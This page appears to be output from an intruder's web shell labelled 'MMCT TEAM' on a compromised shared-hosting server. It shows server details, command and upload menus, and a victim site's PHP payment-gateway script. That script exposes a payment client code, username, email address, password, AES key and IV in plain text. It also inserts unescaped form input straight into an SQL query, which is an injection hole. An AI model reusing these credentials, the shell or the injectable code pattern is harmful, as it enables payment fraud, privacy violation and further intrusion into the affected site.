MMCT TEAM
Server IP : 2a02:4780:11:1359:0:1d43:a566:2  /  Your IP : 216.73.216.161
Web Server : LiteSpeed
System : Linux in-mum-web1259.main-hosting.eu 4.18.0-553.37.1.lve.el8.x86_64 #1 SMP Mon Feb 10 22:45:17 UTC 2025 x86_64
User : u490972518 ( 490972518)
PHP Version : 5.6.40
Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF
Directory (0755) :  /home/u490972518/domains/mhischool.in/../shmgov.com/public_html/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/u490972518/domains/mhischool.in/../shmgov.com/public_html/SabPaisaPostPgRequest1.php
<?php 
session_start();
include 'Authentication.php';
include('link/database.php');
$encData=null;
$clientCode='WORL94';
$username='santoshbharti914@gmail.com';
$password='WORL94_SP21596';
$authKey='XhpakxN2CczEyFVS';
$authIV='NcsKDQLcYHc6rtjZ';

$payerName=$_POST['payerName'];
$member_id=$_POST['member_id'];
$application=$_POST['application'];
$payerEmail=$_POST['payerEmail'];
$payerMobile=$_POST['payerMobile'];
$payerAddress=$_POST['payerAddress'];



$clientTxnId=$_POST['clientTxnId'];
$amount=$_POST['amount'];
$amountType='INR';
$mcc=5137;
$channelId='W';
$date=date("Y-m-d");
date_default_timezone_set("asia/kolkata");
$time=date("h:i:sa");
$datetime=$date." ".$time;
////insert in table///

$ins="INSERT INTO `payment1` (`id`, `payerName`, `payerEmail`, `payerMobile`, `clientTxnId`, `payerAddress`, `amount`, `clientCode`, `paidAmount`, `paymentMode`, `bankName`, `amountType`, `status`, `sabpaisaTxnId`, `sabpaisaMessage`, `bankMessage`, `bankTxnId`, `transDate`, `date`, `time`, `application`, `member_id`) VALUES (NULL, '$payerName', '$payerEmail', '$payerMobile', '$clientTxnId', '$payerAddress', '$amount', '$clientCode', '', '', '', '$amountType', 'No', '', '', '', '', '', '$date', '$time','$application','$member_id')";
if($res=mysqli_query($conn,$ins))
{
	//echo 'insert';
}
else
{
	//echo 'no';
}

$callbackUrl='https://shmgov.com/SabPaisaPostPgResponse1.php';

$encData="?clientCode=".$clientCode."&transUserName=".$username."&transUserPassword=".$password."&amount=".$amount.
"&amountType=".$amountType."&clientTxnId=".$clientTxnId."&payerName=".$payerName."&payerMobile=".$payerMobile.
"&payerEmail=".$payerEmail."&mcc=".$mcc."&channelId=".$channelId."&callbackUrl=".$callbackUrl;
				
$AesCipher = new AesCipher(); 
$data = $AesCipher->encrypt($authKey, $authIV, $encData);
    
?>

<form action="https://securepay.sabpaisa.in/SabPaisa/sabPaisaInit?v=1"method="post" name="redirect">
<input type="hidden" name="encData" value="<?php echo $data?>" id="frm1">
<input type="hidden" name="clientCode" value ="<?php echo $clientCode?>" id="frm2">

</form>
<script language='javascript'>document.redirect.submit();</script>





MMCT - 2023